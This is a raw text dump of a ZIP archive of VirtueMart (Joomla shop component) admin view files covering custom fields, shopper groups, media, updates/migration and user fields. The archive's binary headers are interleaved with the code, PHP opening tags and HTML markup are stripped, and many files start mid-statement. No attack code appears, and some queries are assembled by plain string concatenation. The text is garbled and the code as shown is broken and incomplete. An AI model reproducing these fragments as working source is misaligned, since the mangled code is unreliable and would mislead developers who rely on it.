JHtml::_('select.genericlist', $result, 'shipment_jplugin_id', $attribs, $ext_id, 'name', $selected); } } // pure php no closing tag PKB\views/shipmentmethod/index.htmlnuW+APKB\#o,,views/custom/index.htmlnuW+APKB\n views/custom/view.json.phpnuW+AsetQuery( $query ); $json = $db->loadObject(); if (isset($json->file_url)) { $json->file_url = JURI::root().$json->file_url; $json->msg = 'OK'; echo json_encode($json); } else { $json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo json_encode($json); } } elseif ( $custom_jplugin_id = JRequest::getInt('custom_jplugin_id') ) { if (JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $ext_id . '` = "'.$custom_jplugin_id.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin->params, $this->plugin->element , 'plugin' ,'vmcustom'); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $filename = 'plg_vmcustom_' . $this->plugin->element; vmPlugin::loadJLang($filename,'vmcustom',$this->plugin->element); echo $parameters->render(); echo ''; jExit(); } jExit(); } } // pure php no closing tag PKB\)views/custom/.htaccessnuW+A Order allow,deny Deny from all PKB\|5 5 views/custom/tmpl/edit.phpnuW+A
    customfields->addHidden('view', 'custom'); $this->customfields->addHidden('task', ''); $this->customfields->addHidden(JUtility::getToken(), 1); //if ($this->custom->custom_parent_id) $this->customfields->addHidden('custom_parent_id',$this->custom->custom_parent_id); $attribute_id = JRequest::getVar('attribute_id', ''); if (!empty($attribute_id)) $this->customfields->addHidden('attribute_id', $attribute_id); ?> customfields->displayCustomFields($this->custom); ?>
    pluginList ?>
    customPlugin)) { ?> customPlugin, $this->customPlugin->custom_element, 'plugin', 'vmcustom'); echo $rendered = $parameters->render(); ?>
    customPlugin->custom_jplugin_id)) { ?>
    PKB\Ȟviews/custom/tmpl/default.phpnuW+A
    customs->items; //$roles = $this->customlistsroles; ?> $custom) { $checked = JHTML::_('grid.id', $i , $custom->virtuemart_custom_id,false,'virtuemart_custom_id'); if (!is_null($custom->virtuemart_custom_id)) $published = JHTML::_('grid.published', $custom, $i ); else $published = ''; ?> custom_parent_id."&option=".$option; ?> virtuemart_custom_id; if ($custom->is_cart_attribute) $cartIcon= 'default'; else $cartIcon= 'default-off'; ?>
    sort('ordering') ?> sort('virtuemart_custom_id', 'COM_VIRTUEMART_ID') ?>
    hasKey($custom->custom_parent_title) ? JText::_($custom->custom_parent_title) : $custom->custom_parent_title; echo JHTML::_('link', JRoute::_($link,FALSE),$text, array('title' => JText::_('COM_VIRTUEMART_FILTER_BY').' '.$text)); ?> custom_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$custom->custom_title)); ?> custom_field_desc; ?> field_type_display; ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_custom_id; ?>
    pagination->getListFooter(); ?>
    PKB\)views/custom/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\Elviews/custom/tmpl/index.htmlnuW+A PKB\9|views/custom/view.html.phpnuW+ASetViewTitle('PRODUCT_CUSTOM_FIELD'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->addStandardEditViewCommands(); $customPlugin = ''; if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $custom = $model->getCustom(); $customfields = VmModel::getModel('customfields'); // vmdebug('VirtuemartViewCustom',$custom); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmOnDisplayEdit',array($custom->virtuemart_custom_id,&$customPlugin)); $this->SetViewTitle('PRODUCT_CUSTOM_FIELD', $custom->custom_title); $selected=0; if(!empty($custom->custom_jplugin_id)) { $selected = $custom->custom_jplugin_id; } $pluginList = self::renderInstalledCustomPlugins($selected); $this->assignRef('customPlugin', $customPlugin); $this->assignRef('pluginList',$pluginList); $this->assignRef('custom', $custom); $this->assignRef('customfields', $customfields); } else { JToolBarHelper::custom('createClone', 'copy', 'copy', JText::_('COM_VIRTUEMART_CLONE'), true); JToolBarHelper::custom('toggle.admin_only.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.admin_only.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.is_hidden.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); JToolBarHelper::custom('toggle.is_hidden.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $customs = $model->getCustoms(JRequest::getInt('custom_parent_id'),JRequest::getWord('keyword')); $this->assignRef('customs', $customs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledCustomPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmcustom" AND `'.$enable.'`="1" '; $db->setQuery($q); $results = $db->loadAssocList($ext_id); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $lang =JFactory::getLanguage(); foreach ($results as $result) { //$filename = 'plg_vmcustom_' . $this->plugin->element; $filename = 'plg_' .strtolower ( $result['name']).'.sys'; vmPlugin::loadJLang($filename,'vmcustom',$result['name']); } return VmHTML::select( 'custom_jplugin_id', $results, $selected,"",$ext_id, 'name'); //return JHtml::_('select.genericlist', $result, 'custom_jplugin_id', null, $ext_id, 'name', $selected); } } // pure php no closing tagPKB\)views/shoppergroup/.htaccessnuW+A Order allow,deny Deny from all PKB\views/shoppergroup/index.htmlnuW+APKB\M views/shoppergroup/view.html.phpnuW+AassignRef('perms', Permissions::getInstance()); $model = VmModel::getModel(); $layoutName = $this->getLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if ($layoutName == 'edit') { //For shoppergroup specific price display VmConfig::loadJLang('com_virtuemart_config'); $shoppergroup = $model->getShopperGroup(); $this->SetViewTitle('SHOPPERGROUP',$shoppergroup->shopper_group_name); $vendors = ShopFunctions::renderVendorList($shoppergroup->virtuemart_vendor_id); $this->assignRef('vendorList', $vendors); $this->assignRef('shoppergroup', $shoppergroup); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); JToolBarHelper::makeDefault(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shoppergroups = $model->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $pagination = $model->getPagination(); $this->assignRef('sgrppagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\)!views/shoppergroup/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\"views/shoppergroup/tmpl/index.htmlnuW+APKB\j#views/shoppergroup/tmpl/default.phpnuW+A
    showVendors){ ?> shoppergroups ); $i < $n; $i++) { $row = $this->shoppergroups[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id,null,'virtuemart_shoppergroup_id'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shoppergroup&task=edit&virtuemart_shoppergroup_id[]=' . $row->virtuemart_shoppergroup_id); ?> showVendors){ ?>
    sort('virtuemart_shoppergroup_id', 'COM_VIRTUEMART_ID') ?>
    shopper_group_name); ?> shopper_group_desc); ?> default == 1) { if (JVM_VERSION===1) { ?> <?php echo JText::_( 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT' ); ?>   virtuemart_vendor_id; ?> virtuemart_shoppergroup_id; ?>
    sgrppagination->getListFooter(); ?>
    addStandardHiddenToForm($this->_name,$this->task); ?>
    PKB\=;PP views/shoppergroup/tmpl/edit.phpnuW+AaddScriptDeclaration($js); AdminUIHelper::startAdminArea($this); AdminUIHelper::imitateTabs('start', 'COM_VIRTUEMART_SHOPPERGROUP_NAME'); ?>
    shoppergroup->shopper_group_name); ?> shoppergroup->published); ?> * */ ?> shoppergroup->default == 1) { ?> shoppergroup->shopper_group_desc); ?>
    vendorList; ?>
    <?php echo JText::_('Default'); ?>
    shoppergroup->custom_price_display,1,0,$attributes) ?>
    shoppergroup->price_display, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
    shoppergroup->price_display->get('show_prices')); ?>
    addStandardHiddenToForm(); ?>
    PKB\]Dviews/media/tmpl/default.phpnuW+A
    files; //$roles = $this->productfilesroles; ?> 0) { $i = 0; $k = 0; foreach ($productfileslist as $key => $productfile) { $checked = JHTML::_('grid.id', $i , $productfile->virtuemart_media_id,null,'virtuemart_media_id'); if (!is_null($productfile->virtuemart_media_id)) $published = JHTML::_('grid.published', $productfile, $i ); else $published = ''; ?> limitstart."&keyword=".urlencode($keyword)."&option=".$option; ?> virtuemart_media_id; ?>
    sort('file_title', 'COM_VIRTUEMART_FILES_LIST_FILETITLE') ?> sort('file_type', 'COM_VIRTUEMART_FILES_LIST_ROLE') ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_media_id', 'COM_VIRTUEMART_ID') ?>
    product_name)? '': $productfile->product_name); ?> file_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$productfile->file_title)); ?> file_is_product_image)) echo JText::_('COM_VIRTUEMART_'.strtoupper($productfile->file_type).'_IMAGE') ; if(!empty($productfile->file_is_downloadable)) echo JText::_('COM_VIRTUEMART_DOWNLOADABLE') ; if(!empty($productfile->file_is_forSale)) echo JText::_('COM_VIRTUEMART_FOR_SALE'); ?> displayMediaThumb(); ?> file_name; ?> file_extension; ?> virtuemart_media_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\)views/media/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\#o,,views/media/tmpl/index.htmlnuW+APKB\~Jviews/media/tmpl/edit.phpnuW+A'; echo '
    '; $this->media->addHidden('view','media'); $this->media->addHidden('task',''); $this->media->addHidden(JUtility::getToken(),1); $this->media->addHidden('file_type',$this->media->file_type); $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', ''); if(!empty($virtuemart_product_id)) $this->media->addHidden('virtuemart_product_id',$virtuemart_product_id); $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', ''); if(!empty($virtuemart_category_id)) $this->media->addHidden('virtuemart_category_id',$virtuemart_category_id); echo $this->media->displayFileHandler(); echo '
    '; echo ''; AdminUIHelper::imitateTabs('end'); AdminUIHelper::endAdminArea(); PKB\蠘views/media/view.json.phpnuW+AsetMimeEncoding( 'application/json' ); if ($virtuemart_media_id = JRequest::getInt('virtuemart_media_id')) { //JResponse::setHeader( 'Content-Disposition', 'attachment; filename="media'.$virtuemart_media_id.'.json"' ); $model = VmModel::getModel('Media'); $image = $model->createMediaByIds($virtuemart_media_id); // echo '
    '.print_r($image,1).'
    '; $this->json = $image[0]; //echo json_encode($this->json); if (isset($this->json->file_url)) { $this->json->file_root = JURI::root(true).'/'; $this->json->msg = 'OK'; echo @json_encode($this->json); } else { $this->json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo @json_encode($this->json); } } else { if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $start = JRequest::getInt('start',0); $type = JRequest::getWord('mediatype',0); $list = VmMediaHandler::displayImages($type,$start ); echo @json_encode($list); } jExit(); } } // pure php no closing tag PKB\)views/media/.htaccessnuW+A Order allow,deny Deny from all PKB\(&&views/media/view.html.phpnuW+AassignRef('vendorId', $vendorId); // TODO add icon for media view $this->SetViewTitle(); $model = VmModel::getModel('media'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $media = $model->getFile(); $this->assignRef('media', $media); $isNew = ($media->virtuemart_media_id < 1); $this->addStandardEditViewCommands(); } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $cat_id = JRequest::getInt('virtuemart_category_id',0); JToolBarHelper::customX('synchronizeMedia', 'new', 'new', JText::_('COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES'),false); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,null,null,'searchMedia'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_TYPES'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT'), 'category' => JText::_('COM_VIRTUEMART_CATEGORY'), 'manufacturer' => JText::_('COM_VIRTUEMART_MANUFACTURER'), 'vendor' => JText::_('COM_VIRTUEMART_VENDOR') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options,1,'','onchange="this.form.submit();"'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_ROLES'), 'file_is_displayable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE'), 'file_is_downloadable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE'), 'file_is_forSale' => JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE'), ); $this->lists['search_role'] = VmHTML::selectList('search_role', JRequest::getVar('search_role'),$options,1,'','onchange="this.form.submit();"'); $files = $model->getFiles(false,false,$virtuemart_product_id,$cat_id); $this->assignRef('files', $files); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tagPKB\#o,,views/media/index.htmlnuW+APKB\) views/updatesmigration/.htaccessnuW+A Order allow,deny Deny from all PKB\!?\i55.views/updatesmigration/tmpl/update_preview.phpnuW+A


    • :
    • :
    '; $class = $is_writable ? 'writable' : 'unwritable'; $msg = $is_writable ? JText::_('COM_VIRTUEMART_UPDATE_PATCH_WRITABLE') : JText::_('COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE'); echo '\n"; } ?>
    '.$file.''.$msg."
    ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC') . ':'; echo ''; foreach($packageContents['queryArr'] as $query) { echo '
    '.$query. "
    "; } echo ''; } if( $valid ) { echo '


    '; } else { echo '
    ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE').'
    '; } $formObj->finishForm('applypatchpackage', 'admin.update_result'); ?>
    PKB\1l+views/updatesmigration/tmpl/insfinished.phpnuW+Aload('com_virtuemart.sys',JPATH_ADMINISTRATOR,'en_GB',true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,'en_GB',true); //load specific language $lang->load('com_virtuemart.sys',JPATH_ADMINISTRATOR,null,true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,null,true);*/ $update = vRequest::getInt('update',0); $option = vRequest::getString('option'); if($option=='com_virtuemart'){ if (!class_exists('AdminUIHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'adminui.php'); if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); AdminUIHelper::startAdminArea($this); } ?>
    Cart

    '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } else { echo vmText::_('COM_VIRTUEMART_INSTALLATION_SUCCESSFUL'); echo '
    '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } ?>


    setQuery($q); $productsExists = $db->loadResult(); if(!$productsExists){ ?>
    PKB\k'views/updatesmigration/tmpl/default.phpnuW+A 'COM_VIRTUEMART_UPDATE_TOOLS_TAB', 'migrator' => 'COM_VIRTUEMART_MIGRATION_TAB' ) ); AdminUIHelper::endAdminArea(); PKB\'views/updatesmigration/tmpl/install.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
    PKB\R{G-views/updatesmigration/tmpl/default_tools.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
    PKB\&views/updatesmigration/tmpl/index.htmlnuW+APKB\)%views/updatesmigration/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\g0views/updatesmigration/tmpl/default_migrator.phpnuW+A
    get('reWriteOrderNumber', 1, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRATION_USER_ORDER_ID','userOrderId',$session->get('userOrderId', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_SGRP_PRICES','userSgrpPrices',$session->get('userSgrpPrices', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_PORTFLY','portFlypages',$session->get('portFlypages', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_BROWSE','migration_default_category_browse',$session->get('migration_default_category_browse', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_FLY','migration_default_category_fly',$session->get('migration_default_category_fly', 0, 'vm')); ?>

    '; @ini_set( 'max_execution_time', $max_execution_time+1 ); $new_max_execution_time = ini_get('max_execution_time'); if($max_execution_time===$new_max_execution_time){ echo 'Server settings do not allow changes of your max_execution_time in the php.ini file, you may get problems migrating a big shop'; } else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME').''; } @ini_set( 'max_execution_time', $max_execution_time ); echo '
    '; $memory_limit = ini_get('memory_limit'); echo 'memory_limit '.$memory_limit; echo '
    '; if($memory_limit!=='128MB'){ // @ini_set( 'memory_limit', '128MB' ); // $new_memory_limit = ini_get('memory_limit'); // if($memory_limit===$new_memory_limit){ // echo 'Server settings do not allow changes of your memory_limit in the php.ini file, you may get problems migrating a big shop'; // }else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT').''; // } // @ini_set( 'max_execution_time', $memory_limit ); } ?>
    JText::_('COM_VIRTUEMART_UPDATE_GENERAL'), 'migrateUsersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_USERS'), 'migrateProductsFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_PRODUCTS'), 'migrateOrdersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_ORDERS'), 'migrateAllInOne' => JText::_('COM_VIRTUEMART_UPDATE_ALL'), 'portVmAttributes' => JText::_('COM_VIRTUEMART_UPDATE_ATTR').'
    '.JText::_('COM_VIRTUEMART_UPDATE_ATTR_2'), 'portVmRelatedProducts' => JText::_('COM_VIRTUEMART_UPDATE_REL'), // 'setStoreOwner' => JText::_('COM_VIRTUEMART_SETSTOREOWNER') ); echo VmHTML::radioList('task', $session->get('migration_task', 'migrateAllInOne', 'vm'), $options); ?>

    */ ?>PKB\/ .views/updatesmigration/tmpl/default_update.phpnuW+A

    latestVersion) { echo "

    " . $this->latestVersion . "

    "; } else {?>  [] latestVersion) { if (version_compare($this->latestVersion, VmConfig::getInstalledVersion(), '>') == 1) { ?>
    PKB\hQQ$views/updatesmigration/view.html.phpnuW+AassignRef('checkbutton_style', $checkbutton_style); $this->assignRef('downloadbutton_style', $downloadbutton_style); $this->assignRef('latestVersion', $latestVersion); $freshInstall = JRequest::getInt('install',0); if($freshInstall){ $this->setLayout('install'); } parent::display($tpl); } } // pure php no closing tag PKB\!views/updatesmigration/index.htmlnuW+APKB\)views/userfields/.htaccessnuW+A Order allow,deny Deny from all PKB\views/userfields/index.htmlnuW+APKB\33views/userfields/view.html.phpnuW+AgetCoreFields(); if ($layoutName == 'edit') { $editor = JFactory::getEditor(); $userField = $model->getUserfield(); $this->SetViewTitle('USERFIELD',$userField->name ); $this->assignRef('viewName',$viewName); $userFieldPlugin = ''; if ($userField->virtuemart_userfield_id < 1) { // Insert new userfield $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); $userFieldValues = array(); $attribs = ''; $lists['type'] = JHTML::_('select.genericlist', $this->_getTypes(), 'type', $attribs, 'type', 'text', $userField->type); } else { // Update existing userfield // Ordering dropdown $qry = 'SELECT ordering AS value, name AS text' . ' FROM #__virtuemart_userfields' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $userField, $userField->virtuemart_userfield_id, $qry); $this->assignRef('ordering', $ordering); $userFieldValues = $model->getUserfieldValues(); $lists['type'] = $this->_getTypes($userField->type) . ''; if (strpos($userField->type, 'plugin') !==false) $userFieldPlugin = self::renderUserfieldPlugin(substr($userField->type, 6),$userField); } $this->assignRef('userFieldPlugin', $userFieldPlugin); JToolBarHelper::divider(); JToolBarHelper::save(); JToolBarHelper::apply(); JToolBarHelper::cancel(); $notoggle = (in_array($userField->name, $lists['coreFields']) ? 'class="readonly"' : ''); // Vendor selection if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors']= ShopFunctions::renderVendorList($userField->virtuemart_vendor_id); } // Shopper groups for EU VAT Id $shoppergroup_model = VmModel::getModel('shoppergroup'); $shoppergroup_list = $shoppergroup_model->getShopperGroups(true); array_unshift($shoppergroup_list,'0'); $lists['shoppergroups'] = JHTML::_('select.genericlist', $shoppergroup_list, 'virtuemart_shoppergroup_id', '', 'virtuemart_shoppergroup_id', 'shopper_group_name', $model->_params->get('virtuemart_shoppergroup_id')); // Minimum age select $ages = array(); for ($i = 13; $i <= 25; $i++) { $ages[] = array('key' => $i, 'value' => $i.' '.JText::_('COM_VIRTUEMART_YEAR_S')); } $lists['minimum_age'] = JHTML::_('select.genericlist', $ages, 'minimum_age', '', 'key', 'value', $model->_params->get('minimum_age', 18)); // Web address types $webaddress_types = array( array('key' => 0, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_URL_ONLY')) ,array('key' => 2, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL')) ); $lists['webaddresstypes'] = JHTML::_('select.genericlist', $webaddress_types, 'webaddresstype', '', 'key', 'value', $model->_params->get('webaddresstype')); // Userfield values if (($n = count($userFieldValues)) < 1) { $lists['userfield_values'] = '' .'' .'' .''; $i = 1; } else { $lists['userfield_values'] = ''; $lang =JFactory::getLanguage(); for ($i = 0; $i < $n; $i++) { $translate= $lang->hasKey($userFieldValues[$i]->fieldtitle) ? " (".JText::_($userFieldValues[$i]->fieldtitle).")" : ""; $lists['userfield_values'] .= '' .'' .''.$translate.'' .''; } } $this->assignRef('valueCount', --$i); // Toggles $lists['required'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_REQUIRED','required',$userField->required,$notoggle); $lists['published'] = VmHTML::row('booleanlist','COM_VIRTUEMART_PUBLISHED','published',$userField->published,$notoggle); $lists['registration'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION','registration',$userField->registration,$notoggle); $lists['shipment'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING','shipment',$userField->shipment,$notoggle); $lists['account'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT','account',$userField->account,$notoggle); $lists['readonly'] = VmHTML::row('booleanlist','COM_VIRTUEMART_USERFIELDS_READONLY','readonly',$userField->readonly,$notoggle); $this->assignRef('lists', $lists); $this->assignRef('userField', $userField); $this->assignRef('userFieldValues', $userFieldValues); $this->assignRef('editor', $editor); } else { JToolBarHelper::title( JText::_('COM_VIRTUEMART_MANAGE_USER_FIELDS'),'vm_user_48 head'); JToolBarHelper::addNewX(); JToolBarHelper::editListX(); JToolBarHelper::divider(); JToolBarHelper::custom('toggle.required.1', 'publish','','COM_VIRTUEMART_FIELDMANAGER_REQUIRE'); JToolBarHelper::custom('toggle.required.0', 'unpublish','','COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE'); JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); JToolBarHelper::divider(); $barText = JText::_('COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE'); $bar= JToolBar::getInstance( 'toolbar' ); $bar->appendButton( 'Separator', '">'.$barText.'
    ' .$retImgSrc. ''); } } /** * Create an array with userfield types and the visible text in the format expected by the Joomla select class * * @param string $value If not null, the type of which the text should be returned * @return mixed array or string */ function _getTypes ($value = null) { $types = array( array('type' => 'text' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTFIELD')) ,array('type' => 'checkbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE')) ,array('type' => 'multicheckbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE')) ,array('type' => 'date' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DATE')) ,array('type' => 'age_verification' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_AGEVERIFICATION')) ,array('type' => 'select' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE')) ,array('type' => 'multiselect' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE')) ,array('type' => 'emailaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EMAIL')) // ,array('type' => 'euvatid' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EUVATID')) ,array('type' => 'editorta' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EDITORAREA')) ,array('type' => 'textarea' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTAREA')) ,array('type' => 'radio' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_RADIOBUTTON')) ,array('type' => 'webaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_WEBADDRESS')) ,array('type' => 'delimiter' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DELIMITER')) ); $this->renderInstalledUserfieldPlugins($types); if ($value === null) { return $types; } else { foreach ($types as $type) { if ($type['type'] == $value) { return $type['text']; } return $value; } } } function renderUserfieldPlugin($element, $params){ $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $jelement = 'element'; } else { $table = '#__extensions'; $jelement = 'element'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $jelement . '` = "'.$element.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($params, $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; $lang->load($filename, JPATH_ADMINISTRATOR); return $parameters->render(); } function renderInstalledUserfieldPlugins(&$plugins){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmuserfield" AND `'.$enable.'`="1" '; $db->setQuery($q); $userfieldplugins = $db->loadAssocList($ext_id); if(empty($userfieldplugins)){ return; } foreach($userfieldplugins as $userfieldplugin){ $plugins[] = array('type' => 'plugin'.$userfieldplugin['element'], 'text' => $userfieldplugin['name']); } 